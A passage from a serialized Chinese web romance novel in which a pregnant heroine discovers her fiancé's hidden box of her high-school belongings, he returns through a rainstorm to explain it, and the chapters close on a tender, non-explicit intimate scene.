毕竟纽约和凛川的时差,相隔了13小时,现在她这边是晚上6点,而陆沉渊那边是凌晨五点,他应该还没起床。 更何况,他在那边的行程显然很忙,姜绒并不想打扰他工作。 宝宝这个称呼,其实是姜绒要求陆沉渊继续这么叫的,或许是因为逐渐听习惯了,她甚至喜欢他这么叫她,丝毫不觉得他肉麻或者是占有欲强,反而觉得有些上头。 放下手机后,姜绒走近那个玻璃箱前,也模仿着陆沉渊的样子,戴上白色的消毒手套后,忍住一切头皮发麻的感觉,用金属镊子,夹起精致碗碟里,提前撒上了钙粉和维生素粉,白白胖胖的鲜活面包虫,一条条喂给熵吃。 这条蜥蜴显然不抗拒她的喂养,甚至还极其配合,长长的蓝色舌头卷起面包虫,悉数吞进腹中以后,还意犹未尽的瞪着眼,朝她吐舌。 “不是吧?这一碗都还不够?看不出来你这么能吃呀,难道你爸平时也是这么喂你的?小肥猪。”姜绒被这小玩意的食量惊到了。 然而直视着对方,那双紧紧盯着她的竖瞳,她很明白,对方这是催促着她,快去给它取食物来。 “行吧,你爸不在家,我总得照顾好你不是,不然怎么跟他交代?”姜绒纤长的手指隔着玻璃,点了点它,只得认命的往门外走去,下电梯去给它找面包虫。 训练有素的佣人们,为了不打扰她私人消息时间,这个时间点,基本上已经离开别墅了。 但老陈将熵送过来时,已经顺便告诉了她,给它专用的面包虫,放在什么地方,就在陆沉渊书房,那扇隐藏门背后的恒温酒窖里。 于是,姜绒扶着有了些重量的肚子,一路走走歇歇,花了十几分钟的时间,才在这间偌大的房子里,从卧室走到了别墅一楼的最西间,陆沉渊的书房里。 这里还是她第一次来,无论是桌上的东西,还是书柜上琳琅满目的世界名著原版书,都摆的整整齐齐,完全符合她心里,陆沉渊这人洁癖至极的刻板印象。 而当她成功按下隐藏门的按钮,走进那间恒温的酒窖里时,已经被迎面而来温暖干燥的空气,以及两侧实木架上,摆满各类顶级珍藏名酒的规模之大,给震惊到了。 果然是壕无人性,她大眼一扫,几乎可以确定下来,随便拿起这里的一瓶酒,价值都有可能超过了市面上的一套房子。 而走了几十步以后,姜绒才发现了带有精细透气孔的,面包虫专用恒温饲养盒,旁边还有专门用来取虫的长镊以及透气的一次性塑料盒子。 这架子放的不算低,显然是按照陆沉渊的身高来定制的,因此当她戴上手套,并拿起镊子取虫时,还要垫一垫脚,才能完成。 然而,当姜绒攀着架子,费力的取了几次虫以后,她的胳膊却不慎将恒温箱右上方,放置的一个旧铁皮盒,摔在了地上。 她赶忙放下手里的镊子,径直在木地板上坐了下来,去捡这个做工看起来,较为精致的铁皮盒子里,散落一地的东西。 这些都是什么呀?看不出来,陆沉渊这么念旧的吗?而且还有收集杂物的癖好? 姜绒伸出白皙纤长的手指,一个个捡那些莫名其妙的东西,有年代久远的汽水瓶盖,还有揉得皱巴巴的旧黄色废纸团,弄脏的白色橡皮擦。 还有上了年头的钢笔、水芯笔,铅笔、甚至还有几个发圈,其中一个还是深蓝色的,是扎染工艺,花朵形状,显然是学生用的。 怎么还有女生的发圈呀? 陆沉渊暗恋某个人是不可能的吧?毕竟学生时代的他,可是根本不讲感情的冷面修罗,拒绝起任何女生的示好来,都是毫不留情。 那莫非,他有什么不为人知的爱好,比如暗地里喜欢用女生发圈来扎自己的头发? 姜绒觉得好玩,将那个发圈,戴在了自己纤细的手腕上,忍不住在心里这样猜测他道。 然而,那发圈一上了手,一种莫名的熟悉感,却在她心头蔓延了起来,一些久远的记忆,缓缓在她大脑深处流荡。 她依稀记得,自己高一的时候,和林晚好像也有过这样,同一个款式的蓝色扎染发圈。 那一对发圈,还是苏女士带她去云南旅游,采风的时候,她特意买回来的闺蜜款。 她亲自送了林晚一个,自己留了一个,只是有一次上体育课的时候,她弄丢了这个发圈。 姜绒对此印象有些深刻,是因为林晚并不想和她失去这个闺蜜同款,在那天晚自习的时候,还特地拉着她胳膊,特地去操场找了一圈,最后也没有找到。 荒谬的猜测,逐渐在她心里成了形,但令她不敢置信,也不敢确定。 为了佐证自己的想法,姜绒涨红着脸,耳朵发烫,伸出有些颤抖的纤长手指,迅速拿起一团白色的旧废纸,打开了来。 上面是一副未完成的失败油画,画风和笔触,熟悉到令她瞳孔地震。 这一次,姜绒确定了下来,一个惊人的发现。 这就是她的东西! 准确来说,陆沉渊这一整个铁皮盒子里的,都是她高中时候用过的东西! 作者有话说:宝宝们,欢迎评论,灌溉,投雷啊!你们留下越多足迹,我更的就越多越快,你们就是鹿鹿的动力啊! (让我康康你们的双手在哪里!卖萌求评论) 第52章 第五十二章 我想你了…… 与此同时, 清晨的纽约。 在达沃斯峰会论坛的直播上发表完演讲,并接受完了纽约时报的专访后,陆沉渊乘坐的黑色加长迈巴赫, 缓缓驶入了安缦纽约的专属回廊。 身穿制服的酒店门童,早早就接收到了精密的指令, 无声地拉开了那座沉重的青铜大门。 这一次,不再只是司机,以及私人特助的角色, 而担任了副发言人身份, 坐在副驾驶上的杨西, 悄悄瞄了一眼后座, 表情没有任何波澜起伏的自家总裁。 刚刚陆沉渊完成的伦敦腔英文金融演讲直播, 以及电视台的那场采访, 以他的视角来看, 可以说是天衣无缝,完美无缺。 尤其是采访时,他面对伶牙俐齿的财经女主持人,提出的各种角度刁钻,涉及到了各国、各政界都紧密相关的金融局势以及金融敏感政策。 他反应能力之迅速、解读角度之精妙, 知识储备之深,都出彩到, 令杨西再一次刷新了, 对于自家总裁的认知。 而中途有好几次,主持人将矛头对准了作为副发言人的自己时, 杨西因为过于紧张,差点愣在当场,作为顶级学府毕业的高材生, 竟然一时组织不出,合适的英文金融名词,来进行对谈。 是陆沉渊拯救了他,极其自然的接过了话柄,以极其流利的英文水平,回答了所有的问题,并成功令对方折服、无话可说。 而采访节目一结束,自家总裁竟然还收获到了一堆节目制作组的粉丝,不少人跑过去,向陆沉渊要签名,但都一一被他拒绝了。 杨西仍然为了自己刚才初出茅庐的差劲表现,而觉得自责与难为情,毕竟来到纽约以后,他们所代表的就不是自己,而是庞大的陆氏集团的形象。 “对不起,陆总,刚才我……”他伸手挠了挠头,想尽力向对方解释一番,否则失去千载难逢的副发言人的机会,只会让他对自己更加失望。 然而,他话还没说完,陆沉渊的话,却已经径直打断了他:“不必解释,更不必为此羞愧。万事开头难,走下去,比什么都重要。” 杨西愣了一下,望向他那张气场强大,坚定无比的脸,心内的感触与惊讶,无法用语言来形容。 这竟然是一向冷面的陆沉渊,对他说出来的话,而且这番话令他受益匪浅。 不仅没有贬低自己、奚落自己、或严厉的要求自己,反而话语之间还充满了激励他的意味。 是啊,万事开头难,自己都已经迈出了第一步,那么不必向任何人解释,也不必觉得羞愧,只需要一直坚持走下去,便可以了。 这不就是做人做事,最基本的道理与准则吗? 杨西兀然觉得,陆沉渊变了,他变得越来越有人情味了。 他回头悄悄看了陆沉渊一眼,看了一眼他望向车窗外的那张棱角分明的侧脸。 以前杨西早已习惯了,他忠心追随的上司,就是一块固不可化的寒冰,而且铁面无私,冰冷死板,就像一架精良准确无比的机器,却完全不通人情。 但此刻,如同春雪消融,整个人被染上了点点暖光,陆沉渊身上那种说不明道不清的感觉与气质,令杨西反倒觉得,他越来越像,他所遇到过的一个人。 思索了几分钟以后,他逐渐明白了过来,像——姜绒。 “谢谢陆总,我一定会坚持走下去的!” 杨西心内一阵暖流涌现,感觉自信心在被一点点重新拾起,他赶忙向陆沉渊点了点头,语气坚定的向他保证道。 到达酒店后,陆沉渊走向专属于顶层套房的电梯,电梯的面板由整块黑色大理石雕成,没有按钮,只录入掌纹。 这是他在纽约所拥有的多处房产以外,还长期持租并下榻的,便于他参加各类金融峰会的顶级高奢酒店之一。 随着电梯无声上升,将纽约中央公园的灯火与第五大道的喧嚣踏入脚下。 空气里弥漫着雪松与白麝香焚香的气息,是酒店独有的都市安缦之味,每一缕都经过调香师的校准,用以洗去外部世界的杂乱。 陆沉渊的套房占据酒店西翼顶层,与其说是房间,更不如说是一座悬浮于曼哈顿上空,应有尽有的高奢宫殿。 他高大的身影步入玄关,感应灯光如潮汐般,向深处漫开,照亮了墙上的艺术品。 此时,陆沉渊却看见了,一张对折的、质地硬挺的象牙白卡片,静静躺在玄关的乌木置物台上,与周围的秩序感格格不入。 他停下脚步,目光在那张卡片上停留了两秒,上面的英文火辣而直白,向他盛情邀约共度春宵,而下方的署名,他有些印象。 正是今天才在电视台,采访过他的,那名身材丰腴,金发碧眼的财经女主持人,对方亲自书写的卡片,竟然比他本人还要先到达酒店。 陆沉渊并没有碰它,利落的转身,走向套房深处的通讯面板,骨节修长的手指按下管家专属线路,语气冰冷,听不出任何情绪: “现在,请你的经理,以及三十分钟前,所有可能经过我套房门口的服务人员,到我的客厅,立刻。” 三分钟后,穿着定制西服的酒店经理,立即带着两名面色紧绷的服务生,出现在了客厅入口。 陆沉渊望向他们,缓缓开了口,声音清晰而冰冷:“我的房间,在我离开期间,被放入了一个未经我允许、非酒店配置的东西。” 听到他这句话,面带歉意的经理看向那张卡片,额头渗出了细微的汗珠,他历来便知道,陆沉渊有着极其严重的洁癖,且入住期间,不希望受到任何骚扰。 他赶忙躬身道歉:“陆总,对不起,我们也不知道,竟然会发生这样的事情,我们一定会调查清楚的!” “现在,立即戴着手套,将它处理掉,连同那个置物台——我不希望再出现在我视线内。”陆沉渊懒得再多说什么,径直向他们要求道。 经理赶忙应了下来,戴着白手套,同那几个服务生一起,将那张卡片连同置物台都一起搬走了。 待他们离开后,陆沉渊打开了空气净化器,又使用了酒店替他私人订制的消毒喷雾,将那一处仔细消了毒。 高大的身影,这才走进了房内,骨节修长的手指,解开了高定西装外套的纽扣,在纯白色的真皮沙发椅上坐下来后,拨通了姜绒的微信视频电话。 云顶天阙内,姜绒拿完虫子重新喂完了熵,还接了一通苏女士的电话。 对方难得语气严肃,叮嘱了她,这几天红暴期间哪也别去,乖乖待在家,又提醒了她,下个星期和陆沉渊去领证安排的事,她都乖乖应下了,不想让苏女士担心任何。 但想起她在陆沉渊书房发现的那个盒子,仍然令她心情有些难以言喻,错综复杂。 他为什么从高中的时候就要开始收集自己的东西呢? 显然,他并非暗恋自己,那时候,他们讨厌对方还来不及呢。 而姜绒又记起了一个细节,陆沉渊告诉过她,他高中的时候,就患有性/瘾症,已经严重到了需要药物干预的地步。 那么他收集自己的这些东西,有没有可能,是和其他,从来不曾了解过她任何,就热烈疯狂追求她的男生一样,只是将她当成用于幻想的对象,或者泄/欲的符号而存在呢。 只是这样想着,这样的念头,便已经令姜绒觉得浑身有些发冷、发麻。 虽然她心内极力劝阻自己走进思维的误区,去钻牛角尖。 但她深刻的明白,自从那一次初中时候,雨夜的经历开始,她就存在这方面的过度反应,与ptsd(创伤性应激综合症)。 不知为何,此刻,姜绒脑子里浮现的,仍然是那个疯子抵在她腰间的那把冰冷而锋利的刀。 那把充满了对女性的审视与批判,充满了仇恨与偏见的刀。 如果陆沉渊和那些人没什么两样,那么她喜欢上的他,到底又是什么呢? 此时,姜绒摆在桌子上的手机兀然响了起来,这声响一直持续了好几下,将她的思绪拉回。 是陆沉渊的视频聊天邀请,她调整了一下情绪,伸出白皙纤长的手指,拿起了手机,接通了视频电话。 “怎么这么久才接?是遇到什么事情了吗?”对方低沉好听的声音,很快钻入她耳膜里,观察力敏锐到令姜绒在心内感叹。 她抬起低垂的眸子,望向镜头那边,身材高大的陆沉渊,他显然是刚刚接受完采访之类的工作,因为与平常不同,他的黑发,被一丝不苟的打理了上去,只留下几根发丝垂在额角。 这样的背头造型,使得他整张轮廓深邃,无可挑剔的脸都被完整的露出来了,高挺的鼻梁上也没有戴,那副薄薄的金丝边眼镜框。 他整个人气场强大无比,完全令人难以忽略,更多了几分,姜绒无法用语言去形容的成熟与霸气,这是全力投入了工作时期,意气风发的他,她并不曾见到过的另一面。 而陆沉渊高大的身量上,质感极佳的白衬衫,领带已经取下来了,随意解开了几个扣子,隐隐露出肌肉轮廓来,更多了几分商业精英,斯文败类的味道。 一时之间,好看到令姜绒有些发呆。 而当姜绒目光触及到对方戴着金属腕表的忻长手腕,以及随意轻托在下巴上的长指时,白皙耳根红了一下,连同身体的潮热反应自动产生。 更令她怀疑,自己前些天,真的任性要求过,这样一个身份与地位极高,在财报上与电视台上,都出现,受到无数仰望的人物,对她做那些事情。 “刚才去取了虫子喂熵,所以没有听到铃声……”姜绒低着头说道,并不敢对上陆沉渊那双没有镜片遮挡,锐利无比,探索能力极强的黑眸。 果然,听完她的回答,对方的质疑很快跟了上来,极其严谨的沉声追问她道:“熵在一楼,你去喂它来回要花上十几分钟的时间,这个理由似乎,并不成立。” “不是,我怕到时候红暴会吹到它,所以给它移了位置,到了我们的卧室里……”姜绒赶忙向他解释道。 陆沉渊炙热的目光,仍然未曾从她脸上移开分毫,这一次他语气里的关心,令姜绒有些意想不到: “该担心的不是它,而是你吧。你确定,你真的有那个能力,在别墅独自面对红暴来临吗?” 姜绒抬头望向他,语气倔强,不甘示弱:“当然有这个能力,在英国那么多年,可都是我自己过来的,你不要小看我。” 这句话,其实是她在说谎,因为无论身处何处,自初中时候,经历过那件事以后,她就开始害怕,任何一个雨夜的来临。 也因此,她很擅长躲雨天,在雨夜来临时,大部分时候,她都是在同学或友人那里借宿,和她们一同度过。 陆沉渊点了点头,却并没有赞同她的答案,反而向她问出了另一个问题来:“你是自己去酒窖取虫的吗?” 那双深邃好看的黑眸里,不仅有探究,还藏着几分好奇。 姜绒自然明白,他为何会用这种眼神看自己,毕竟第一次来到云顶天阙时,无论是看到熵,还是它的食物面包虫,自己都是一副完全无法接受,敬而远之的态度。 而现在自己竟然能够做到丝毫不害怕,亲手去喂那只小蜥蜴。 于是她毫不犹豫的向对方脱口而出:“当然是我自己去取得啦,而且……” 意识到差点说漏嘴,姜绒立即停住了嘴。 “而且什么?”然而,已经来不及了,陆沉渊向她追问出声。 姜绒耳廓微红,赶忙摇了摇头,低头垂眸,打算发扬自己的演技,装死到底,假装刚才自己什么也没说,淡淡回答他道:“没什么。” 然而,陆沉渊那张棱角分明,轮廓深邃的脸,却骤然离向她的视频镜头更近了,这次径直打破了她一切的伪装,缓下声来,沉声向她说道: “对我说实话吧,你的情绪和状态,看起来都很不对劲,宝宝。” 这都能看出来?姜绒愣了一下,不可思议的抬起头来,望向陆沉渊,她现在严重怀疑,对方是不是研习过什么读心术,怎么会对自己了如指掌。 而刚才最后两个字,他叫了自己宝宝,这一声是直接当着她面叫的,尾音低沉而喑哑,带了一丝亲密的性感,好听到令她有些恍惚。 然而,她清楚的明白,越喜欢越沉迷,就越容易引人堕落,越不能接受,真正知晓真相那一刻的残酷与痛苦。 “我……”姜绒望向视频那头,陆沉渊那张好看至极的脸,攥紧了纤长的手指,心内的复杂,根本无法用语言来形容。 她说不出口,毕竟那个铁皮箱里虽然装着她高中时期用过的东西,但装着的也是陆沉渊的秘密。 是她无意间,单方面撞破了他的秘密与隐私。 姜绒并没有把握,陆沉渊会愿意与她分享,这样深藏在酒窖深处,他并不希望被他人知晓的秘密。 更何况,无论发生了什么,她都不想影响他的工作行程,毕竟这是自己亲口答应他,会做到的事情。 “我想睡觉了!”她将一句谎话脱口而出,望着那头的陆沉声回答道。 陆沉渊眸光微沉,心内似乎已经隐隐猜到了是什么,却也只是朝她点了点头:“好,你早点休息。” “嗯。”姜绒应了下来,总算找到了台阶下,在这样复杂的心绪里,她只想快点结束这通视频电话。 此时,陆沉渊却兀然叫住了她:“等等,还有一句话。” 什么话呢?姜绒好奇的抬头,望向视频那头的他。 猝不及防的四个字,却被一双黑眸,认真看向自己的陆沉渊,毫不掩饰的,沉声喑哑说了出来,砸在她的心扉上,令她呼吸心跳骤乱: “我想你了。” 慌乱的挂断了视频电话,姜绒的整个世界,仍然喧嚣四沸,面红耳赤,心乱如麻。 她真的不明白,陆沉渊到底给她下了什么毒。 与此同时,那头的纽约,安缦酒店内,杨西正领着数名,想要与陆氏集团,以及普瑞维斯审计事务所,谈合作的美国巨头企业ceo,向陆沉渊所处顶层套房的直达电梯前走去。 自家总裁的一通电话,却先一步打了过来,沉声给出的指令,令他目瞪口呆,完全不敢相信: “杨西,今晚我乘坐私人飞机回国,后续峰会行程,全部由你代替。” 作者有话说:宝宝们,欢迎评论,灌溉,投雷啊!你们留下越多足迹,我更的就越多越快,你们就是鹿鹿的动力啊! (让我康康你们的双手在哪里!卖萌求评论) 第53章 第五十三章 她把他弄哭了。 第二天晚上, 红暴提前登陆的消息,是在凌晨三点跳出来的。 一夜浅眠,将手机握在手里的姜绒, 几乎是在那条消息震动着弹出来的一刹那,便立即睁开了眼睛。 看着屏幕上的红色预警, 心脏像被人用力攥了一下,呼吸一紧。 别墅一楼传来了许多声响,是训练有素的佣人们, 在做各种防红暴的准备与措施。 但在这样紧急的情况之下, 他们反倒遗忘了, 二楼房间里, 还有一个她存在。 即使她反复告诉过她们, 一旦下雨, 一定要立即上来找她, 因为她不想一个人待着。 窗外的雨已经不是“下”,而是在倾倒。 整个世界像是被泼了一大桶墨水,径直砸下来,整片天空都在塌陷,如同末日来临。 气象台的预警一条接一条地, 屏幕上跳出来,红色、粗体、刺目。 风拍在防风板上, 发出沉闷又持续的撞击声, 像有什么东西就在外面,一次次试图, 用尽全力的闯进来。 她是安全的。 理智一遍遍提醒她—— 门窗反锁,应急系统正常,备用电源已连接, 整个别墅都处在避险名单之内。 而且她昨天已经照着陆沉渊发来的详细清单,把所有应急物资都已经检查了一遍。 理智反复告诉她——没事。 可恐惧从来不听理智的。 她的身体也开始不听话。 孕中期的反应在这种夜里被无限放大。 腹部隐隐的坠胀感,让她无法忽略身体里那个正在存在、正在依赖她的小生命,它似乎也感知到了她的恐惧。 “没关系的……别害怕,妈妈在这里,一定会保护好你的。” 姜绒深吸了一口气,尽量让自己冷静下来,纤长的手指,轻轻抚着自己肚子,对着自己的肚子,断断续续的说话。 然而,她的呼吸还是开始变得浅而急,胸口发紧,手心出汗,胃部翻涌着一种说不清的恶心。 她很清楚的明白,自己不是想吐,而是因为恐惧。 孤身一人的恐惧。 她坐在床边,忽然意识到—— 如果现在发生什么,她只有自己。 这个念头一旦冒出来,记忆就像被暴雨冲垮的堤坝,轰然决口。 也是雨夜。 也是这样湿冷的空气。 初中的那条巷子里,灯光坏了一半。 她的鞋底踩进雨水积成的水洼里,声音被无限放大。身后的脚步声越来越近,根本逃脱不掉。 有人贴上来,呼吸喷在她颈侧。 刀抵住腰。 冰凉、刺骨,仿佛下一秒就能轻易穿透她的血肉。 还有低低的、粗鲁至极的辱骂声。 “别动!” “装什么清纯!” 姜绒猛地站起来,把房间里所有的灯全都打开。 白光刺得她眼睛发痛,可她不敢关。 她需要光,需要确认自己还在一个有边界、有秩序、安全的空间里。 她钻进被子里,把自己整个裹住,只留下一个呼吸的口。 腹部被压住时,她下意识地伸出手掌护了一下,掌心贴在隆起的地方,就像是在确认那里的存在。 她小声地、无意识地安慰了一句:“没事的……” 可声音在巨大的雨声里,被吞得干干净净。 就在这时—— 轰——! 雷声近得仿佛直接劈进别墅里。 世界在一瞬间亮白,又在下一秒彻底黑掉。 停电了。 姜绒的脑子“嗡”地一声,呼吸骤然失控。 黑暗像是有重量,尽数压在她的眼皮上。 几乎是同时,楼下立即传来发电机启动的声音,低沉而粗重,而在那轰鸣的声音之上—— 脚步声。 不是记忆里的,不是幻听。 是真实的、踩在地板上的脚步声,湿的,稳的,一步一步,靠近她的房门。 她整个人僵在被窝里,连尖叫都发不出来。 脚步停下。 被子被人极轻地掀开了一角。 一股潮湿的冷意钻进来,随即被另一种气息覆盖。 雪松的冷香,干净而克制,混着佛手柑的微苦,还有一点极淡的檀香尾调。 她几乎是瞬间就认出来了。 下一秒,她被人抱进怀里。 不是急切的,是克制到极限的,小心翼翼,像是在确认她还完好,会不会碎。 “姜绒。” 他的声音贴着她的发顶,低哑得不像平时。 她抬头,在黑暗里只能感受到他身上冰冷的湿意。 衬衫贴在他皮肤上,冰凉,发梢还在往下滴水,雨和风的气息还没散尽。 “……陆沉渊?” 他回来了。 不是通过信号,不是通过屏幕。 是这个人。 她的手下意识地抓紧他的衣襟,指尖发抖,眼眶在止不住的发红。 “你怎么回来了……”她声音颤抖朝他问。 “红暴提前。”他说,“我不放心。” 陆沉渊说得很平静,可她知道这意味着什么。 私人飞机在凌晨起飞,航线穿过强对流云团,暴雨、侧风、气流紊乱。 任何一个危险变量的失控,都有可能成为致命风险,导致飞机失事,使他失去生命。 可他还是回来了。 因为他知道,她会怕。 因为她怀着孕。 因为那个雨夜,从来没有真正过去。 姜绒的心在慢慢落下来,刚刚那种几乎要把她撕裂的恐惧,正在一点点退潮。 陆沉渊的怀抱很稳。 不是用力的,是一种天然的、无需确认的包裹感。她整个人被他收进去,胸口贴着他的胸腔,能清晰地感觉到他心跳的频率。 沉稳、有节奏。 那种节奏像是在告诉她—— 这里没有危险。 她紧绷了一整晚的肩背,在不知不觉中塌了下去。身体比意识更诚实,她甚至来不及思考,就已经把额头抵在他颈侧,像是终于找到了可以停靠的地方。 黑暗还在,雨声还在。 可世界忽然有了边界。 她的腹部被他护得很好,他宽大的手掌隔着衣料,带着暖意,稳稳地覆在她的肚子上,仿佛在确认一件事,告诉她和孩子: ——我在这里。 ——你们是安全的。 姜绒的心,却在下一秒,又被另一件事攥紧。 “……我以前丢掉的那些东西。” 她的声音很轻,却锋利无比。 “发圈、校服扣子、废画纸……是不是都在你那里?” 他沉默了一瞬。 然后点头。 显然,聪明如他,在回来之前,早就已经猜到了,她独自去酒窖里取虫,态度却产生了那么大的变化,原因是什么。 空气像是被抽干了。 “为什么?”姜绒抬头,望向他那张轮廓深邃的脸,“陆沉渊,那算什么?” 他微微闭了一下眼,像是终于被逼到无法回避的角落。 “我收集那些东西,”他说,“不是为了我的欲望。” “相反,是为了戒。” “戒什么?”姜绒向他追问。 “戒掉关于你的一切、戒掉你。” 陆沉渊抱着她的手微微收紧,那张棱角利落分明的脸,在窗外的闪电之下,忽明忽灭。 “从很小的时候开始,我就被父母教导——不能有情绪,不能对任何事物产生偏好。” “因为那会成为我的弱点。” “一旦有了偏好,就会给予敌人可乘之机。” 他的声音很稳,可内里已经裂开。 “你也知道的,我的父母把我当成一个需要被完美运行的系统。他们不允许我喜欢,不允许我讨厌,不允许我被任何人、任何事影响判断。” “所有超出理性的东西,都会被他们定义为错误。” 他低声说:“包括你。” 姜绒的呼吸一滞。 她自然知道,陆竞深和黎婉矜,是怎么样严苛至极的教育着陆沉渊,将他当成一架只为了继承集团而存在的冰冷机器。 但她从来不知道,原来从他高中时期开始,自己的存在,竟然也成为了他们俩不得不去,干预陆沉渊的存在。 “我不知道我是不是疯了,”他说,“从高中开始,你就反复出现在我的梦里。我拼命压制,拼命删除,可失败了,他们甚至把我送去江之晏那里治疗。” “哪怕只是靠近你,闻到你身上的味道,我都会失控。那种失控对当时的我来说,是异常,严重影响了我的日常,我的成绩,是需要立即被消除的故障。” “甚至我人生中,第一次梦/遗,也是因为你。” 这句话说出口,他的声音彻底哑了。 “为什么?”姜绒耳根在发烫,几乎是下意识地反问,“你那时候……明明那么冷漠,很讨厌我。你怎么可能喜欢我?” “姜绒,” 他说,“我从来不懂什么是爱,也不懂什么是喜欢。没有人教过我。” 陆沉渊那双黑眸看着她,可眼底终于露出了近乎茫然的情绪。 姜绒的心被刺疼了一下。 “可我知道,从高中开始,你对我来说,就已经是不可替代的存在了。” “因为,只有你,会把我原本只有理性的世界弄得一团糟。” “我试过戒断。”他说,“我按照江之晏的方法,用属于你的那些东西,做脱敏训练,拼命告诉自己,你只是一个普通至极的变量,我一定可以克服。” 他低低地笑了一声,带着自嘲,笑得几乎破碎。 “可我失败了。” “我不仅戒不掉你,还越来越沉沦。” “你让我变得不像我自己。” 发电机的声音仍在远处轰鸣,像一条勉强维系的生命线。 陆沉渊的肩膀忽然轻微地抖了一下,他的声音在颤抖。 “姜绒,”他说,“如果你觉得我恶心,觉得我是变态——” “那我现在就走。” 话音落下的瞬间,有温热的东西滴落在她的手背。 一滴。 又一滴。 她整个人僵住了。 陆沉渊在她面前,从来冷静、自持、就像一台不会出错,强大无比的机器。 可现在,他哭了。 不是崩溃,而是被压抑了许久的情绪,终于找到了出口。 姜绒忽然意识到一件事情—— 她把他弄哭了。 第54章 第五十四章 不再害怕下雨…… 姜绒是在那一刻, 真正慌了。 不是因为窗外的暴雨,也不是因为身处的黑暗。 而是因为陆沉渊的眼泪。 那不是失态的哭,是他极力压住后, 仍然在溢出来的东西。 她能感觉到他身体的紧绷,像是用尽了全部力气, 才没有让情绪彻底崩塌。 那种极力的克制、让她忽然明白了一件事—— 他不是不懂爱。 是从来没有被允许过。 她的心一下子就软得不成样子。 姜绒抬手,捧住他轮廓深邃,湿漉漉的黑发凌乱垂在额前, 明明狼狈, 在她眼里, 却更加好看的脸。 他的皮肤很凉, 被雨水和泪水打湿的睫毛犹凉, 轻轻颤着, 像是连哭, 都是一件不被批准的事。 她甚至能感觉到,他因为被她这样触碰,而短暂地怔住。 “陆沉渊。”她轻声叫他。 他抬眼看她,黑睫颤抖了几下,眼神里甚至有一点慌。 像是怕被厌弃。 姜绒的心一下疼得发紧。 “你不是变态。”她说得很慢, 每个字却说得很清楚,“只是从来没有人教过你。” 他一怔。 “你不是不能喜欢。”她继续说, “也不是不该被谁吸引。你可以有偏好, 可以讨厌,可以只对一个人不一样……” 她凑近他, 额头贴着他的额头。 “这些都不是错。” “如果你不懂。”她轻声说,“我可以教你。” 姜绒抬头,那盛满了心疼的清澈鹿眸锁住了他, 带着蜜桃甜香的唇,缓缓贴近了他的脸。 不是索取,是安抚。 她温热的唇瓣,带着体温,吻在他眼尾,将那些咸涩的湿意一点点吻走,像是在替他确认——你不是一个人。 更像是在替他否定,那些曾经强加在他身上,一切荒唐可笑的冰冷规则。 那一瞬间,陆沉渊的呼吸彻底乱了。 他忽然伸手,骨节修长的宽大手掌,扣住了她的后颈。 这一次,是他主动。 他的唇压了下来,带着隐忍了一整晚的情绪,重,却依旧克制。 不是索取,而是终于失去了防线的靠近。 像是怕伤到她,又怕她下一秒就会退开。 “唔……”姜绒没有躲,也没有退。 反而大着胆子,伸出纤细的手臂,圈住他修长脖颈,仰起脸,青涩而炙热的回应他。 与他交换着在这样冰冷黑暗的雨夜里,彼此却更加热得发烫的体温,与紊乱的气息。 姜绒的心跳得厉害。 在这一刻,她甚至如此清晰地意识到—— 她想要他。 陆沉渊明显愣住了: “姜绒——” “我查过了。”她贴着他的额头,声音低低的,“孕中期,是可以……” 空气静了一瞬。 他的喉结滚动,理智和欲/望在博弈。 他还是伸手,想要起身: “我去拿——” “不要。”姜绒伸出纤长的手指,抓住他忻长手腕,轻轻摇头,长睫颤抖,如同欲展的蝶翼:“我想彻底感受你的存在。” 不是冒险。 是完全交换的信任。 陆沉渊的呼吸彻底乱了。 她能感觉到他在忍,忍到整个人都在发抖。 可下一秒,陆沉渊还是停住了。 他额头抵在她白皙肩头,几乎每一下,都能闻到,她修长颈窝散发出的,自高中时起,他便比任何人都要熟悉的蜜桃甜香味。 他声音低哑得不像话: “不行。” 他还是拒绝了她。 “为了你的安全。”他说,“不能这样。” 姜绒的眸中,闪过一刹那的失望。 陆沉渊停顿了一下,显然捕捉到了她脸上的表情,然后他沉默了一下,像是在做某种决定: “换种方式。” 这四个字,从他嘴里吐出来,轻,却清晰。 她一开始并没有反应过来。 只是觉得他靠得太近了。 近到她的呼吸不自觉地乱掉,近到她的注意力被一点一点地拉走,所有的恐惧、紧张、思考,都被迫退到很远的地方。 她下意识地抓紧了床单。 并非因为抗拒。 而是一种从未体验过的感觉,正沿着她的脊背慢慢攀升。 太陌生了。 陌生到她甚至不知道该怎么呼吸。 呼吸变得断续,指尖发麻,不受控制地绷紧,又在下一秒彻底塌陷。 她忍不住低声叫了他的名字:“陆沉渊” 那一声几乎是无意识的。 像是本能地在确认—— 他还在。 他似乎察觉到了她的反应,动作愈发克制,却也愈发专注。 那种被认真对待、被小心回应的感觉,让她整个人都开始发软。 她从来不知道,原来还可以这样。 一点一点,被逼到边缘。 像是明明知道下一秒就会坠落,却完全无力阻止。 她的世界开始变得模糊。 雨声远了。 雷声也不见了。 只剩下不断累积的热意,和一种无法言说的感觉。 在那一瞬间,她整个人像是被轻轻推了一下。 不是失控的坠落。 而是终于被允许松手。 她的意识空白了一瞬,身体不受控制地颤了一下,呼吸彻底乱掉。 所有的紧绷,在那一刻彻底崩解。 等她慢慢回过神来时,才发现自己正被他抱在怀里。 很紧。 却也很稳。 她的脸贴在他的肩颈处,呼吸还没找回节奏,整个人像是被温柔地接住了。 那一刻,她忽然明白了。 这不是欲望本身。 是被理解、被珍惜、被允许之后,身体给出的自然回应。 而他始终没有越界,告诉了她,他有多么珍重,爱惜她的存在。 把她抱好,护好,确认她安然无恙。 那些荒唐的怀疑与猜测,这一刻在姜绒那里全部土崩瓦解了。 而她兀然发现,在他面前。 她的身体彻底找回了自己,再也没有笼罩在hsdd的阴影之下。 姜绒回头,看向自身后抱住她的陆沉渊。 她目光拂过那张轮廓深邃的脸,纤长手指抚过他那张极好看的,有一颗黑色小痣的淡色的唇。 他唇上浸上了一些水色,身上染上了她的味道。 而她头一次,不再因为那个雪夜里,那个冲动的自己感到懊悔,反而觉得庆幸。 庆幸是他。 庆幸她的世界里,还有他。 陆沉渊的神色已经恢复了平静,可那种被强行压下去的紧绷,却并没有真正消失。 他形状明显的喉结微微绷着,呼吸比平时要沉得多。 她知道,面对着孕期的自己,他要将所有欲望悉数忍下,有多么痛苦。 姜绒伸手,握住了他宽大手掌。 他的身体明显一顿。 “姜绒——?” 她没有让他说完。 因为,她并不是现在,才有这个念头的。 她知道,此前陆沉渊那种,在车内让她快乐的方式,她可以还给他。 于是,她靠近了一点,低声朝他说:“我想你也别忍。” 那一瞬间,陆沉渊的理智几乎被击穿。 